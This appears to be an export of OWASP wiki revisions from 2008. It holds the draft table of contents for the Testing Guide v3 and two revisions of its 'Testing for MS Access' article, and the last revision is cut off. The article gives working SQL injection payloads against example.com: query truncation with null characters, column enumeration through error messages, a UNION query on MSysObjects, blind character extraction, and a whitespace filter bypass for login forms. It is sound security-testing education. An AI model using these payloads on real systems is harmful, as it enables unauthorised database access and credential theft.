This is the draft of table of content of the New Testing Guide.&lt;br /&gt;
You can download the stable version [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip here] or read it on line [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
 Testing Guide v3 (draft)&lt;br /&gt;
 Updated: 20th August 2008&lt;br /&gt;
 (new)--&amp;gt; new articles, (toimp)--&amp;gt; needs to improve or to review, (xxx%) --&amp;gt; current state of the article&lt;br /&gt;
&lt;br /&gt;
'''T A B L E    o f    C O N T E N T S'''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|(toimp)Foreword by OWASP Chair]]==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |(toimp: M.Meucci)1. Frontispiece]]==&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|(toimp: M.Meucci)1.1 About the OWASP Testing Guide Project]]'''&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 90%) 2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.4.1 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Tests_Integrated_in_Developers_and_Testers_Workflow Security tests integrated in developers and testers workflows]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.4.2 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Developers.27_Security_Tests Developers' security tests: unit tests and component level tests]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 90%) 2.4.3 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_Testers.27_Security_Tests Functional testers' security tests: integrated system tests, tests in UAT, and production environment]&lt;br /&gt;
&lt;br /&gt;
(new: M. Morana 100%) 2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. (M.Meucci) Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| (new: M.Meucci - 90% ) 4.1.1 Testing Checklist]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Information Gathering|'''(toimp: B.Damele) 4.2 Information Gathering''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders Robots and Crawlers|(new:C.Heinrich - 0%)4.2.1 Spiders, Robots and Crawlers]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery|(new:C.Heinrich - 0%)4.2.2 Search Engine Discovery/Reconnaissance]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points| (new: K.Horvath - 100%) 4.2.3 Identify application entry points]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application Fingerprint|4.2.4 Testing for Web Application Fingerprint]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery|4.2.5 Application Discovery]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code|4.2.6 Analysis of Error Codes]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|''' (new) 4.3 Configuration Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSL-TLS| 4.3.1 SSL/TLS Testing (SSL Version, Alghoritms, Key lenght, Digital Cert. Validity]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for DB Listener|4.3.2 DB Listener Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management| (new) 4.3.3 Infrastructure Configuration Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management|4.3.4 Application Configuration Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling|4.3.5 Testing for File Extensions Handling]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for old_file|4.3.6 Old, Backup and Unreferenced Files]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces|(new) 4.3.7 Infrastructure and Application Admin Interfaces]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST| 4.3.8 Testing for HTTP Methods and XST]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic|'''(K.Horvath - 100%) 4.4 Business Logic Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''(M.Meucci - 100%) 4.5 Authentication Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for credentials transport|(new: G.Ingrosso - 100%) 4.5.1 Credentials transport over an encrypted channel]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for user enumeration|(new: M.Meucci, M.Mella - 90%) 4.5.2 Testing for user enumeration]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Default or Guessable User Account|(to imp: K.Horvath - 100%) 4.5.3 Testing for Guessable (Dictionary) User Account]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Brute Force|4.5.4 Brute Force Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema|4.5.5 Testing for bypassing authentication schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password and Pwd Reset|4.5.6 Testing for vulnerable remember &lt;br /&gt;
password and pwd reset]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Logout and Browser Cache Management|4.5.7 Testing for Logout and Browser Cache Management Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha|(new: P.Luptak - 100% ) 4.5.8 Testing for CAPTCHA]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Multiple Factors Authentication| (new: G.Fedon) 4.5.9 Testing Multiple Factors Authentication]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''(new: M.Meucci - 90%) 4.6 Authorization testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal|(new) 4.6.1 Testing for path traversal]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema|(new: M.Meucci - 80%)4.6.2 Testing for bypassing authorization schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation|(new: Cecil Su, M.Meucci - 90%)4.6.3 Testing for Privilege Escalation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema|(new: M.Meucci) 4.7.1 Testing for Session Management Schema]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes| (new: K.Horvath - 100%) 4.7.2 Testing for Cookies attributes]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation| (new: M.Meucci) 4.7.3 Testing for Session Fixation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables|4.7.4 Testing for Exposed Session Variables ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF|4.7.5 Testing for CSRF]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Exploit|(to imp: HTTP Verb) 4.7.6 Testing for HTTP Exploit ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting|(new: A. Coronel)4.8.1 Testing for Reflected Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting|(new: R. Suggi Liverani - 100%)4.8.2 Testing for Stored Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting|(new: A.Agarwwal, Kuza55) 4.8.3 Testing for DOM based Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing|(new: A.Agarwwal)4.8.4 Testing for Cross Site Flashing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection| (toimp: B.Damele) 4.8.5 Testing for SQL Injection ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access|4.8.5.4 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.5 (new: D.Bellucci 100% from OWASP BSP) Testing PostgreSQL]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection|4.8.6 Testing for LDAP Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection|4.8.7 Testing for ORM Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection|4.8.8 Testing for XML Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection|4.8.9 Testing for SSI Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection|4.8.10 Testing for XPath Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection|4.8.11 IMAP/SMTP Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection|4.8.12 Testing for Code Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection|4.8.13 Testing for Command Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow|4.8.14 Testing for Buffer overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability|4.8.15 Testing for incubated vulnerabilities]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Denial of Service|'''4.9 Testing for Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Wildcard Attacks|(new: F.Mavituna - 100%) 4.9.1 Testing for SQL Wildcard Attacks]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Locking Customer Accounts|4.9.2 Testing for DoS Locking Customer Accounts]]	&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Buffer Overflows|4.9.3 Testing for DoS Buffer Overflows]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS User Specified Object Allocation|4.9.4 Testing for DoS User Specified Object Allocation]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for User Input as a Loop Counter|4.9.5 Testing for User Input as a Loop Counter]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Writing User Provided Data to Disk|4.9.6 Testing for Writing User Provided Data to Disk]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for DoS Failure to Release Resources|4.9.7 Testing for DoS Failure to Release Resources]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Storing too Much Data in Session|4.9.8 Testing for Storing too Much Data in Session]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Services|(toimp: D.Wichers) '''4.10 Web Services Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Structural|4.10.1 XML Structural Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Content-Level|4.10.2 XML Content-level Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for WS HTTP GET parameters/REST attacks|4.10.3 HTTP GET parameters/REST Testing ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Naughty SOAP Attachments|4.10.4 Testing for Naughty SOAP attachments]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for WS Replay|4.10.5 WS Replay Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Client-Side Testing|(new: Pdp, O.Segal, S. Di Paola) '''4.11 Client side testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for AJAX|(new) 4.11.1 AJAX Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Flash Testing|(new)4.11.2 Flash Testing]]&lt;br /&gt;
&lt;br /&gt;
[[RIA Testing|(new)4.11.3 RIA Testing]]&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |(toimp: Mat)5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools&lt;br /&gt;
* Source Code Analyzers&lt;br /&gt;
* Other Tools&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers&lt;br /&gt;
* Books&lt;br /&gt;
* Useful Websites&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories&lt;br /&gt;
** Recursive fuzzing&lt;br /&gt;
** Replasive fuzzing&lt;br /&gt;
* Cross Site Scripting (XSS)&lt;br /&gt;
* Buffer Overflows and Format String Errors&lt;br /&gt;
** Buffer Overflows (BFO)&lt;br /&gt;
** Format String Errors (FSE)&lt;br /&gt;
** Integer Overflows (INT)&lt;br /&gt;
* SQL Injection&lt;br /&gt;
** Passive SQL Injection (SQP)&lt;br /&gt;
** Active SQL Injection (SQI)&lt;br /&gt;
* LDAP Injection&lt;br /&gt;
* XPATH Injection&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | (new: Harish S.)Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36695</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36695"/>
				<updated>2008-08-20T13:51:40Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.asp?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
# TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.asp?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.asp?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.asp?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.asp?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36691</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36691"/>
				<updated>2008-08-20T13:50:01Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
http://www.example.com/index.asp?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' GROUP BY Id%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
